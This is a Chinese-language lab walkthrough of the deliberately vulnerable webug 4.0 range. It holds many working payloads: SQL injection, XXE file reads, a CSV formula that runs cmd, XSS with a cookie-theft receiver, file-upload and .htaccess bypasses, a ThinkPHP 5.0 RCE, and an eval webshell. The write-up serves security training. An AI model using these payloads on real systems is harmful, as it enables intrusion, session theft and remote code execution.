webug4.0 打靶笔记-02【完结】
webug4.0打靶笔记-02
3. 延时注入(时间盲注)
3.1 访问靶场
3.2 寻找注入点
貌似一样的注入点: ?id=1' --+
3.3 判断输出位置
同前两关一样的位置,时间盲注应该不是这样的=-=
?id=1' order by 3 --+ # 判定当前数据库有两个字段
?id=1' union select 1,2 # 判断输出位置
.....
3.4 获取flag
?id=1' union select 1,group_concat(table_name,'.',column_name) from information_schema.columns where table_schema=database() and column_name like '%flag%' --+ # 直接获取本数据库中所有含有falg字样字段的表名和字段
结果:env_list.delFlag,env_list.envFlag,env_path.delFlag,flag.flag
继续查询具体flag
http://172.16.95.134/webug/control/sqlinject/bool_injection.php?id=1' union select 1,group_concat(envFlag) from env_list --+
本关Flag:gfdgdfsdg
3.5 时间盲注思路
真实的时间盲注仍然是不会给出输出位置的,这儿的靶场还是有点不严谨;
下面尝试采用没有输出位的注入方法:
时间盲注和布尔盲注思路比较相似,都是盲注,都不会回显数据和错误信息,只不过布尔盲注可以通过页面的内容的差别进行判断,时间盲注不能够通过页面显示的内容进行判断,但是时间盲注通过使用and if(盲注语句,sleep(5),1) 这样的组合造成页面响应时长差别来进行判断
?id=1' and sleep(10) --+ # 页面出现延迟,说明sleep(10) 得以成功执行,存在注入点
?id=1' and if(length(database())<6,sleep(5),1) --+ # 页面出现延迟,说明length(database())<6成立,执行了and sleep(5),进而造成了页面延迟
?id=1' and if(length(database())<5,sleep(5),1) --+ # 页面立即进行了显示,说明length(database())<5 不成立,执行了 and 1 ,所以没有出现延迟,进而判断数据库名长度为5
......
# 按照布尔盲注的思路继续向下判断,最后猜出flag
3.6 总结
总结一下显错注入,布尔盲注,时间盲注
显错注入:页面回显错误信息和数据,存在语法报错页面和页面数据输出位,能够明显判断注入点和方便查询显示数据;
布尔盲注和时间盲注都属于盲注,所谓盲注就是看不见语法报错页面和数据输出位置,只能靠猜,猜对了和猜错了,页面显示不一样,这是布尔盲注,不管猜对了还是猜错了页面显示都一样,但是可以添加条件让猜对执行sleep()延迟类函数来造成页面延迟来反映,这是时间盲注
以下是盲注常用的一些函数:
left(m,n) # 从左向右截取字符串m返回其前 n 位
substr(m,n,y) # 从字符串m的左边第n位起,取y长度的字符串
ascii(m) # 返回字符m的 ASCII 码
if(str1,str2,str3) # 如果 str1 正确就执行 str2,否则执行 str3
sleep(m) # 使程序暂停 m 秒
length(m) # 返回字符串 m 的长度
count(column_name) # 返回指定列的值的数目
4. POST 注入
之前的都是通过Get方法,以URL传入的参数
4.1 打开靶场
4.2 寻找注入点
还是寻找任何能输入,并有可能传入后端进行执行的位置进行测试
看到个search框,输入'")"')进行测试,果不其然,语法报错,其实这回到第一关显错注入这里了,只不过是提交方式不一样,一个GET一个POST。
这儿注入点为:content=xx' --+,不过还需判断POST中的参数,这只是后端SQL的字段,这个得抓包了
可以看到接受参数是keyWordName
4.3 获取flag
初步进行来回搜索,发现没有输出位,不找了,按没有输出位打,直接盲注
采用如下测试:
POST:keyWordName=dd' and sleep(10) --+
发现注释位不好使了,没有成功注释后面的内容造成了语法报错,仔细一看,居然自POST里用+充当空格,这个东西只在URL中好使,我这脑子,这里面直接敲空格或者%20就行,或者#也可以。。。
更正后,注释好用了,继续...
keyWordName=dd' and sleep(10) #
???,注释倒是好使了,不过没有按照预期出现延迟
细想一下,应该是sql语法中的查询机制作怪,
当where 条件1 and 条件2 的时候,就是目前这种状态,只有条件1为True的时候,它才会去进行条件2的筛选,也就是才会执行条件2中的sleep(10),而为了确保不管条件1是True还是False,都触发条件2的执行,应该将and调整为or
keyWordName=dd' or sleep(10) #
果然出现了页面延迟,继续接下来的步骤,和上一关一样,只需把and改为or即可,这么想来,上一关用or更为稳妥,因为上一关条件1可以查询出结果,而这关没有搜索出结果,故有此差别。。。
keyWordName=1' or if(length(database())<6,sleep(5),1) # 页面出现延迟
keyWordName=1' or if(length(database())<5,sleep(5),1) # 页面无延迟
...
最后拿到flag
4.4 这儿顺手练习一下burp中的intruder模块
- 首先抓包发送到Intruder
- 清除自动添加的payload位置标记
- 在keyWordName位置构造payload并在需要爆破的地方添加标记
keyWordName=1' or if(length(database())=1,sleep(5),1) # 当爆破成功时页面会出现延迟
4. 设置payload参数
5. 设置线程为1,这样方便查看,这个可以根据payload灵活设置
6. 开始爆破,并设置显示请求时间
可以很明显看到5出现了页面延迟,说明执行了sleep(5),length(database())=5 成立;
...ok,剩下步骤一模一样
5. 过滤注入
测试了一圈好像和上关一样,没有任何过滤,看起来注入这块儿设计的都不太合理,去看看源码咋写的...
这。。。原来只过滤了select和SELECT两个,着实有点简单了,而且如果不是只是输入了select或SELECT,那么也不会匹配到。。。
写法有问题,应该用正则或其他方式模糊匹配。。。
6. 宽字节注入
宽字节注入https://www.cnblogs.com/fengshui/p/9266830.html
6.1 打开靶场
又是熟悉的get方式传参,打开hackbar操练
6.2 寻找注入点
依旧是' " 等进行测试,发现都没啥反映,看来是对单引号双引号进行了过滤或替换或转义等预防操作;
测试%df',发现已经报错了
?id=1%df'
添加注释恢复正常
?id=1%df' --+
6.3 判断输出位置
首先判断当前表的列数,方便后续union联合查询
?id=1%df' order by 2 --+
?id=1%df' order by 3 --+
order by 3时出现报错,证明两列
接下来判断是否有输出位
?id=-1%df' union select 1,2 --+
有输出位置
6.4 获取信息
一些常用信息,其中@@global.secure_file_priv控制mysql可以写文件的目录
?id=-1%df' union select 1,group_concat(database(),0x7e,@@datadir,0x7e,@@basedir,0x7e,user(),0x7e,current_user(),0x7e,system_user(),0x7e,version(),0x7e,session_user(),0x7e,@@global.secure_file_priv) --+
?id=-1%df' union select 1,group_concat(table_name,0x7e,column_name) from information_schema.columns where table_schema=database() --+
查找flag
?id=-1%df' union select 1,group_concat(content) from sqlinjection --+
额。。。最后发现这个数据库的这张表里面没有flag还是在webug.env_list中
本关flag:dfsadfsadfas
7. XXE注入
7.1 打开靶场
如下,这个漏洞存在登陆处,随便输入查看效果
页面显示如下,很是熟悉的XML格式,POST过去的,那就抓包传点XML的数据过去看看
7.2 抓包测试
抓到正常包
修改POST的数据,传递XML格式的数据过去,看看是否能解析成功,如下发现可以正常解析,那就构造payload进行利用下
data=<?xml version="1.0"?>
<haha>
<test>xml6666</test>
</haha>
7.3 构造payload读取任意文件
data=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE node [
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<note>
<haha>&test;</haha>
</note>
由于XML的格式之间有换行,所以进行一下URL编码再发送
可以看到已经读取到了C:\WINDOWS\win.ini的内容
7.4 XXE攻击扩展
- 探测端口
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE node[
<!ENTITY test SYSTEM "http://127.0.0.1:8080">
]>
<node>
<haha>&test;</haha>
</node>
URL编码之后发送,发现出现响应延迟,则说明该端口大概率未开放,可以结合Burp中的Intruder模块进行批量探测
8 CSV注入
CSV注入漏洞出现在带有导出.csv/.xls/.xlsx文件功能的网站,当导出的内容可以随意填写时,可以将恶意负载(公式)注入数据库,这样当被导出下载打开后,EXCEL会调用本身的动态功能,执行恶意代码,发动进一步攻击。
8.1 打开靶场
这关靶场有问题,需要修改代码control\sqlinject\csv_vuln.php
修改完成后切换PHP-5.4.45可正常访问
此处参考如下博客
https://blog.csdn.net/weixin_41924764/article/details/107548754
我这边也把代码贴过来了,这个靶场还是不太建议来玩=-=
<?php
$conn = mysqli_connect('localhost', 'root', 'root', 'webug');
if ($conn) {
$sql = "select * from data_crud";
$res = $conn->query($sql);
}
if (isset($_POST['daochu'])){
$headerArray = ['name','age','email'];
$string = implode(",",$headerArray)."\n";//先做出表头
while (list($id, $name, $age, $email, $deflag) = mysqli_fetch_row($res)){
$data = [
['name'=>urldecode($name),'age'=>urldecode($age),'email'=>urldecode($email)]
];
foreach ($data as $key => $value) {
//把需要的字段一一对应起来,如果已经对应好 直接 $outArray = $value;
$outArray['name'] = $value['name'];
$outArray['age'] = $value['age'];
$outArray['email'] = $value['email'];
$string .= implode(",",$outArray)."\n"; //用英文逗号分开
}
}
@$filename = date('Ymd').'.csv'; //设置文件名
header("Content-type:text/csv");
header("Content-Disposition:attachment;filename=".$filename);
header('Cache-Control:must-revalidate,post-check=0,pre-check=0');
header('Expires:0');
header('Pragma:public');
exit(mb_convert_encoding($string, "GBK", "UTF-8"));
}
?>
<?php
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
header("Location:../login.php");
}
?>
<!doctype html>
<html>
<head>
<title></title>
</head>
<style>
body{font-family: Arial, Helvetica, sans-serif;}
table{border-collapse: collapse;
width: 50%;
text-align: center;}
td,th{border:1px solid #ccc; padding: 2px 5px;}
button{padding: 5px;}
div {
line-height: 3;
}
</style>
<body>
<?php
$conn = mysqli_connect('localhost', 'root', 'root', 'webug');
$i_name = urlencode($_POST[name]);
$i_age = urlencode($_POST[age]);
$i_email = urlencode($_POST[email]);
if ($conn) {
if ($i_name != null && $i_age != null && $i_email != null){
$sql = "INSERT INTO data_crud(name,age,email) VALUES ('$i_name','$i_age','$i_email')";
$res = $conn->query($sql);
}
}
if ($conn) {
$sql = "select * from data_crud";
$res = $conn->query($sql);
}
?>
<table id="table">
<tr>
<th>Name</th>
<th>Age</th>
<th>Email</th>
</tr>
<?php
if ($res) {
while (list($id, $name, $age, $email, $deflag) = mysqli_fetch_row($res)){
echo '<tr>';
echo '<input type="text" hidden="hidden" name="id[]" value="'.$id.'">';
echo '<td><div contenteditable="true">'.urldecode($name).'</div></td>';
echo '<td><div contenteditable="true">'.urldecode($age).'</div></td>';
echo '<td><div contenteditable="true">'.urldecode($email).'</div></td>';
echo '</tr>';
}
}
?>
</table>
<form action="#" method="post">
<input name="daochu" type="submit" value="导出"/>
</form>
<br>
<h2>添加新用户信息</h2>
<form action="#" method="post">
<table id="table">
<tr>
<td>Name</td>
<td>Age</td>
<td>Email</td>
</tr>
<tr>
<td><input name="name" type="text" size="20"/></td>
<td><input name="age" type="text" size="20"/></td>
<td><input name="email" type="text" size="20"/></td>
</tr>
</table>
<div>
<input name="submit" type="submit" value="确认添加"/>
</form>
</div>
</body>
<script src="../../../aa/html/table-to-excel.js"></script>
<script>
var tableToExcel = new TableToExcel();
document.getElementById('button').onclick = function () {
tableToExcel.render("table");
};
</script>
</html>
8.2 漏洞利用
- CSV注入利用
payload//这台机器上没有calc,我写点东西弹个记事本好了
=cmd|' /C calc'!A11
<!-- 注意下面echo不要有,的出现,否则导出csv会自动分割,无法形成有效命令 -->
=cmd|'/C echo 6666 inject success!>inject.txt && notepad inject.txt'!A11
执行以上payload之前先将Excel的如下设置打开才能够成功利用,以下也是能够有效防护的措施
插入payload
导出保存打开
成功进行命令执行,也可以进行其他木马的写入和执行上线操作,目前对于我来说这些只是停留在理论阶段,还没进行实战,等实战之后再记录。。。 - XSS漏洞
注意到该页面刚打开时,会进行数据库查询,将数据库内的记录显示到页面,所以应该会存在存储性XSS,故测试如下paylaod:
<script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
成功执行,可以进一步构造接收cookie的服务器端,实现cookie收集,如下简单的一个存储到文件的服务器端代码:
<?php
if(isset($_GET['cookie'])){
$cookie=$_GET['cookie'];
$time=date('Y-m-d g:i:s');
$ipaddress=getenv('REMOTE_ADDR');
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$txt=$time.$cookie.$ipaddress.$referer.$useragent;
$cookie_file=fopen("cookie_file.txt","w");
fwrite($cookie_file,$txt);
fclose($cookie_file);
}
// 重定向到可信网站
header("location:http://www.baidu.com");
?>
payload
<script>document.location="http://172.16.95.134/cookie.php?cookie="+document.cookie</script>
已经收集到了。。。
9. 反射型XSS
9.1 打开靶场寻找注入点
发现id参数可控,而且会再页面输出显示
9.2 测试
传入如下payload
<script>alert(document.cookie)</script>
成功拿到flag
10. 存储型XSS
存储型XSS漏洞的原理就是将恶意代码提交并存储到后端数据库中,当他人再次打开页面时,该页面初始化数据会将恶意代码从数据库中查出显示到页面中,从而导致恶意代码执行造成XSS漏洞
10.1 打开靶场
居然刚开始进入就弹了cookie,不过啥也没有,应该是数据库里有的代码,初始化页面造成了XSS弹窗;
不管它,开始找能输入并提交的地方。。。发现底部有留言板
10.2 测试
<script>alert(1)</script>
10.3 吐槽
简直了,就简单的提交了上面的代码,然后上一关的恶意脚本弹cookie就从本来没有flag多了flag,这么神奇的代码是怎么写的,查看源代码去
好嘛,这再XSS的靶场里过滤SQL注入的东西,虽然可以进行SQL注入,不过这不是存储型XSS漏洞的考察点,还有留言板的历史留言不显示出来,怎么进行XSS,=-=
最后发现flag的显示是只要检测到留言板提交内容中有alert就给设置flag到cookie
验证一下这个靶场奇葩思路
先清空webug_width_byte.storge_xss中的数据
use webug_width_byte;
delete from storge_xss;
重新载入该关,正常,cookie也没有flag,也没有弹窗了
按照设想,留言板输入alert提交,查看cookie是否设置了flag,果然...
11. 万能密码登陆
上来就admin admin ,,,,居然登陆成功了
不过这关考察的是万能密码,应该是如下思路:
12. DOM型XSS
按照这个靶场设计的奇葩思路,我应该只要键入alert不管有没有造成XSS,都会将flag设置到cookie中,到时候F12-->网络就可以看到了
果然
不过这关显然不是这么搞得,走一下正常思路:
12.1 寻找输入框进行测试
我一般是测试<>&@'"6666这种类似的组合形式,然后F12打开查看器进行查找特征字符6666,看会在哪儿进行显示,如下:
是在input的value属性中,而且貌似是双引号可以进行逃逸,那么可以构造如下payload
"> <script>alert(document.cookie)</script>
成功触发XSS漏洞
以下是插入的最终状态,可以看到双引号将value的标签进行了闭合,导致后面的js从中逃逸了出来并进行了执行
13. 过滤XSS
不容易啊,这个靶场居然设置了这种关卡,看看怎么样。。。
13.1 访问靶场
如下,可以看到这关注入点还是在URL中
13.2 测试
正常流程测试,寻找特征字符显示位置
可以看到无需进行闭合标签,直接插入即可?id'"<>6666
测试恶意代码
?id=1<script>alert(1)</script>
应该是检测到script或者alert,哦不,这靶场还指望着alert匹配到设置flag到session呢,应该是script绕过过滤
# 大小写绕过
?id=1<ScriPt>alert(1)</ScRiPt>
失败了,看起来应该是先做了大小写统一转换进行的匹配,尝试其他的标签吧# 尝试img标签加载出错事件执行
?id=1<img src=1 onerror=alert(document.cookie)>
其他标签
这里总结以下其他可以用的标签,不考虑过滤,过滤的情况再说# onerror结合alert
<img src=1 onerror=alert(document.cookie)>
# onclick结合alert
<button onclick=alert(document.cookie)>test</button>
# URL采用javascript伪协议执行
<a href='javascript:alert(1)'></a>
除开alert之外还可以用confirm() prompt() 来造成弹窗
看起来打完把这些基础靶场打完后需要来一个阶段性思路总结了
14. 链接注入
这关没有flag,貌似应该归到DOM型XSS里面,攻击如下
15. 任意文件下载
看到file=路径,说明这个文件路径可以被控制,那么修改下路径
点击下载,成功读取到win.ini
然后可以利用字典fuzz敏感文件进行下载
比如我有个字典,其中一条记录就是如下,那么就可以下载到mysql的配置文件
../../../../../../phpStudy/PHPTutorial/MySQL/my.ini
16. mysql文件下载
参考上一关
17. 文件上传(前端拦截)
找到上传点,传个phpinfo上去
不允许上传php类型的,一看就是前端弹窗,直接禁用js或者删除js触发属性(谷歌浏览器这方法不用,可以用火狐)
上传成功,访问文件
18. 文件上传(解析漏洞)
和上关一样前端限制直接绕过,但还是error了,应该是进行了后端验证
不知道是黑名单验证还是白名单验证,先测试以下随机后缀名(test.dsjfisdfj),如果也error则很大概率是白名单,果然是白名单,那么尝试正常的后缀名(jpg,png,gif,jpeg等),jpg上传成功
尝试访问,服务器端是按照图像进行解析的,看起来还是的上传php文件,所以这关和解析漏洞没关系,就是单纯的文件上传漏洞,文件解析漏洞应该是指服务器端将本来不是脚本语言的文件当作脚本语言进行解析,比如虽然上传的是.jpg,依然会被当作.php文件解析,回到这关继续做。。。
这里有坑。。。正常%00绕不过去,以下特殊字符虽然可以上传成功,但是没有代码内容
这里用的是生僻字 da 龘绕过,也是看了别人的视频才通关的,我丢=-=,增加一种思路
19. 文件上传(畸形文件)
按照正常思路先传个php文件,前端验证直接在抓包改后缀名绕过,成功上传,发现返回文件名是随机了,但是php没了,不过还剩个点.,猜测是后端进行了php字符匹配并做了置空操作,可以采用混合写或者大小写的方式绕以下
改成大小写混合,不让后台匹配替换,结果失败
多写几个让后台替换,我看它能替换几次
看起来是做了全部匹配,但是还是留下点东西,说明没有进行递归替换,那就可以是试试phPHPp这种夹杂的,让它替换大写的之后拼接成正常的
ok成功上传
20. 文件上传(截断)
这关试了%00、特殊字符、::$DATA都无法截断,最后还是采用了生僻字进行绕过
21. 文件上传(.htaccess)
这种上传环境一般出现在黑名单过滤中,这关真坑,做了很多遍就是过不去,后来传了个正常的都没成功,原来又是靶场代码有问题,替换以下代码,虽然没有设置黑名单,只是进行了前端验证,不过将就可以进行该关,不浪费时间改代码了
<?php
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
header("Location:../login.php");
}
$filter = array(".jpg", '.png', '.gif');
if ($_FILES['file']['error']) {
die();
}
if ($_FILES['file']) {
$arr = $_FILES['file'];
$file_ext = trim(strtolower(strrchr($arr['name'], ".")));
if (file_exists(TPMELATE."/upload/".$arr['name'])){
echo "<script>alert('该文件已经存在')</script>";
} else{
$filename = iconv("UTF-8","gb2312",TPMELATE."/upload/".$arr['name']);
move_uploaded_file($arr["tmp_name"],$filename);
echo $filename;die();
}
}
require_once TPMELATE."/upload_file_1.html";
按照设想,我们无法上传所有脚本语言格式的文件,但是可以上传.htaccess文件上去,.htaccess内容如下:
<!-- 第一种 虽然好用,但是会误伤其他正常文件,容易被发现 -->
<IfModule mime_module>
AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
<!-- 第二种、精确控制能被解析成php代码的文件,不容易被发现 -->
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
<!-- 第三种、同1没太大区别 -->
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>
这里我用的第二种,首先上传.htaccess文件:
然后上传一个包含php代码的图片
不过有如下要求:
- php5.6以下不带nts;
- Apache设置AllowOverride All,默认配置为关闭None;
- Apache的LoadModule rewrite_module modules/mod_rewrite.so 模块为开启状态;
- 上传目录具有可执行权限;
最后这个图片才会被当作php解析并执行其中的代码,这个图片制作方法如下:
按照设想,这个后端会对文件类型进行验证过滤,不允许上传php文件,这种过滤有的是基于后缀名的,有的是基于MIME-Type的,这儿只能上传图片,所以只需要修改MIME—Type了,所以可以如下进行操作
准备一个正常gif图片,和将要上传的PHP代码文件
copy test.php/a+yuanshou.gif/b evil.gif
REM 其中a表示以ascii方式打开,b表示以二进制的方式打开
copy yuanshou.gif/b+test.php/a evil.gif
REM 推荐采用图片在前的方式,这样合并完成后不影响图片正常打开
可以看到使用图片再后的方式会影响图片的正常显示,也有可能会影响后端对文件MIME-Type的验证
然后进行上传,当然也可以直接用文本编辑器打开图片进行插入代码,也可在上传的时候抓包进行十六进制内容修改插入php代码,或者其他方式
访问该图片,因为之前上传了.htaccess文件,所以该图片应该会被当作php文件进行解析,进而执行代码,如下:
php代码之前的就是gif的二进制信息,不是有效php代码,所以直接显示了出来
22. 越权修改密码
这种漏洞一般出现在已经拿到一个账户的密码,或者可以随意注册一个账户(任意用户注册漏洞),然后通过该账户进行水平或垂直越权对其他账户操作,修改密码只是其中一个节点;
这关有两个账户用来测试,分别是admin:admin和aaaaa:asdfsadf
首先登陆admin,进行修改密码的操作,然后抓包进行修改
修改成为第二个账户的id进行放包
修改成功
现在登陆aaaaa账户,密码123456进行验证是否成功修改
成功登陆,修改完成
23. 支付漏洞
这关不建议做,没啥意思,这靶场写的自己骗自己玩,这是它代码
24. 邮箱轰炸
这关也不建议浪费时间,理解这个操作就行,要修改代码中的邮件账户信息才可以,不过我没成功,这个不影响,因为正常进行测试时,这个肯定是正常发送的,这个漏洞主要是利用网站注册功能不对邮箱真实性验证(验证码)和同一机器请求频次验证(验证码发送间隔)造成的漏洞,实现利用网站邮件服务对其他目标邮箱发动轰炸
操作流程如下:
提交注册
抓包发送到Intruder,清掉所有payload Positions
修改payload为Null Payloads 进行100次发送实现轰炸
25. 越权查看admin
这关和22关一致,都是越权漏洞,操作节点不一样而已,以aaaaa的身份登陆成功后,通过修改用户id得以查询相应id的用户信息,说明后端未对当前用户的查询进行合理控制
26. URL跳转
URL 跳转漏洞目前我理解是主要用来钓鱼网站的跳转,使得安全意识差的用户从可信站点跳转至不可信站点的漏洞。
还有如果引用一些资源的限制是依赖于“白名单方式”,同样可能被绕过导致安全风险,譬如常见的一些应用允许引入可信站点如youku.com的视频,限制方式往往是检查URL是否是youku.com来实现,如果youku.com内含一个url跳转漏洞,将导致最终引入的资源属于不可信的第三方资源或者恶意站点,最终导致安全问题。
鼠标移到百度上可以看到该网页采用Get传参进行了URL跳转,并且参数可控;至于后端跳转逻辑有可能是header或者js跳转都可以实现,如果js的话还有可能构成xss漏洞
尝试构造任意URL跳转
http://172.16.95.134/webug/control/more/url_redirect.php?url=https://www.qq.com
27. 文件包含
打开靶场,可以观察到URL中的路径特征,并且路径可控
修改URL,尝试包含其他任意文件,发现包含成功
利用此漏洞可读取服务器上的配置文件,以及结合文件上传漏洞进行利用;
如果还允许进行远程包含,那么可以在远程服务器上搭建web服务提供webshell等恶意代码结合利用进一步攻击,这里直接以本机的其他文件通过远程包含:
28. 命令执行
打开靶场,很熟悉的tp5框架,5.0的版本,如果打不开就换PHP的版本
tp公开的漏洞比较多,这个之后要专门总结一下,网搜一遍后,发现有5.0命令执行漏洞,具体原理就先不研究了,后期学习代码审计的时候研究总结
如下是payload:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
还可以用工具直接搞定:
https://github.com/Lotus6/ThinkphpGUI
29. WebShell爆破
我无法访问,找到网站目录也没有这个webshell.php的文件,这关主要就是利用爆破工具进行捡别人上传的webshell,没啥好玩的。
既然没有,那就利用上一关的命令执行写入一个吧,如下是上一关的payload,可写入一句话木马,密码为pwd
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php phpinfo();@eval($_POST['pwd']);?^> >../../webshell.php
爆破就是利用burp中的Intruder模块进行批量请求找到正确的密码进行链接
至于为啥要爆破这个密码,是因为那个webshell文件是别的黑客上传的,知道路径不知道密码,如果爆破成功相当于不利用漏洞直接getshell。
30. SSRF
打开靶场,观察到URL去请求了一个本地文件,感觉有点像文件包含,不过后端还是有点区别的,SSRF漏洞主要服务器通过PHP伪协议去请求一个不和外界通信的主机上的数据,但是没有做请求过滤,导致攻击者可以利用服务器去请求一些其他敏感数据。
比如:一个公司有个对外提供服务的服务器A,还有一个内部OA系统B不出网,但是A可以访问到B,如果A存在SSRF漏洞,则攻击者可以利用这个漏洞指示服务器A代替攻击者去访问原本访问不到的OA系统B,然后再由服务器A将拿到的数据返回给攻击者。
如下是利用file协议读取了一个敏感文件
如下是进行了端口探测
还可以让服务器端帮我们去访问百度,然后再把内容返回给我们
关于这一点就可以看出文件包含和SSRF的区别了,文件包含是将文件内容导入到代码文件中进行执行,而SSRF发生的地方是服务器代替用户访问数据然后将返回内容返回给用户。
某些攻击效果上是一致的,但是SSRF可以用来当作跳板机,攻击其他内部应用或系统。
总结
终于弄完了,拖拖拉拉到现在,是因为最近在找工作,不过结果不太理想,主要还是能力不太行,还需要进行积累沉淀。
对于这个靶场来说,整体还行,主要传达的是基本的漏洞原理,入门还行;
需要总结一下基本漏洞原理,形成自己的思路,免得重复学习,原地踏步,加油!!!
webug4.0 打靶笔记-02【完结】的更多相关文章
- webug 4.0 打靶笔记-01
webug 4.0 打靶笔记 1. 显错注入 1.1 访问靶场 1.2 判断注入点 查找一切有参数传入的地方进行测试,注意到有get传参?id=1 猜测后台php中sql语句模板可能为如下几种情况 $ ...
- 《30天自制操作系统》笔记(02)——导入C语言
<30天自制操作系统>笔记(02)——导入C语言 进度回顾 在上一篇,记录了计算机开机时加载IPL程序(initial program loader,一个nas汇编程序)的情况,包括IPL ...
- 强化学习读书笔记 - 02 - 多臂老O虎O机问题
# 强化学习读书笔记 - 02 - 多臂老O虎O机问题 学习笔记: [Reinforcement Learning: An Introduction, Richard S. Sutton and An ...
- JS自学笔记02
JS自学笔记02 1.复习 js是一门解释性语言,遇到一行代码就执行一行代码 2.查阅mdn web文档 3.提示用户输入并接收,相比之下,alert只有提示的作用: prompt(字符串) 接收: ...
- 机器学习实战(Machine Learning in Action)学习笔记————02.k-邻近算法(KNN)
机器学习实战(Machine Learning in Action)学习笔记————02.k-邻近算法(KNN) 关键字:邻近算法(kNN: k Nearest Neighbors).python.源 ...
- CS229 笔记02
CS229 笔记02 公式推导 $ {\text {For simplicity, Let }} A, B, C \in {\Bbb {R}}^{n \times n}. $ $ {\bf {\t ...
- OpenCV 学习笔记 02 使用opencv处理图像
1 不同色彩空间的转换 opencv 中有数百种关于不同色彩空间的转换方法,但常用的有三种色彩空间:灰度.BRG.HSV(Hue-Saturation-Value) 灰度 - 灰度色彩空间是通过去除彩 ...
- ASP.NET Identity 2集成到MVC5项目--笔记02
ASP.NET Identity 2集成到MVC5项目--笔记01 ASP.NET Identity 2集成到MVC5项目--笔记02 继上一篇,本篇主要是实现邮件.用户名登陆和登陆前邮件认证. 1. ...
- [RK3288][Android6.0] 调试笔记 --- Goodix GT9和GT9F区别【转】
本文转载自:http://blog.csdn.net/kris_fei/article/details/78341425 Platform: RK3288 OS: Android 6.0 Kernel ...
随机推荐
- 【转】Python中自定义可迭代对象
python 中内置的可迭代的对象有 list.tuple.set.dict 等,那么我们自己怎么定义一个可迭代的对象呢?先来段代码吧 import re import reprlib RE_WORD ...
- shell编程之免交互 (不要再让你的双手过度劳累了)
shell编程之免交互 1.Here Document免交互 2.Expect免交互 3.免交互磁盘创建 1.Here Document免交互 概述: Here Document使用I/O重定向的方式 ...
- 对常用I/O模型进行比较说明
一.IO模型的四个特性 关注的是消息通信机制,即调用者在等待一件事情的处理结果时,被调用者是否提供完成状态的通知. 同步:synchronous,被调用者并不提供事件的处理结果相关的通知消息,需要调用 ...
- Linux重定向输出到以当前时间命名的文件 / date命令格式化输出
1. 利用date命令重定向到以当前时间命名的文件 例如: ls -l > mylog_$(date +"%Y-%m-%d_%H-%M-%S").log 或: ls -l & ...
- MySQL时间格式TIMESTAMP和DATETIME的区别
时区,timestamp会跟随设置的时区变化而变化,而datetime保存的是绝对值不会变化 自动更新,insert.update数据时,可以设置timestamp列自动以当前时间(CURRENT_T ...
- 34、python并发编程之多进程(操作篇)
目录: 一 multiprocessing模块介绍 二 Process类的介绍 三 Process类的使用 四 守护进程 五 进程同步(锁) 六 队列(推荐使用) 七 管道 八 共享数据 九 信号量( ...
- suse 12 二进制部署 Kubernetets 1.19.7 - 第04章 - 部署docker服务
文章目录 1.4.部署docker 1.4.0.下载docker二进制文件 1.4.1.配置docker镜像加速 1.4.2.配置docker为systemctl管理 1.4.3.启动docker服务 ...
- 手写一个springboot starter
springboot的starter的作用就是自动装配.将配置类自动装配好放入ioc容器里.作为一个组件,提供给springboot的程序使用. 今天手写一个starter.功能很简单,调用start ...
- JAVA8学习——Stream底层的实现四(学习过程)
Stream的深入(四) 从更高角度去看一下:类与类之间的设计关系 (借助IDEA的图形处理工具 Ctrl+Alt+U). ReferencePipeline的三个实现的子类: Head Statel ...
- 突破限制,CSS font-variation 可变字体的魅力
今天,在 CodePen 上看到一个很有意思的效果 -- GSAP 3 ETC Variable Font Wave,借助了 JS 动画库 GSAP 实现,一起来看看: 我寻思着能否使用 CSS 复刻 ...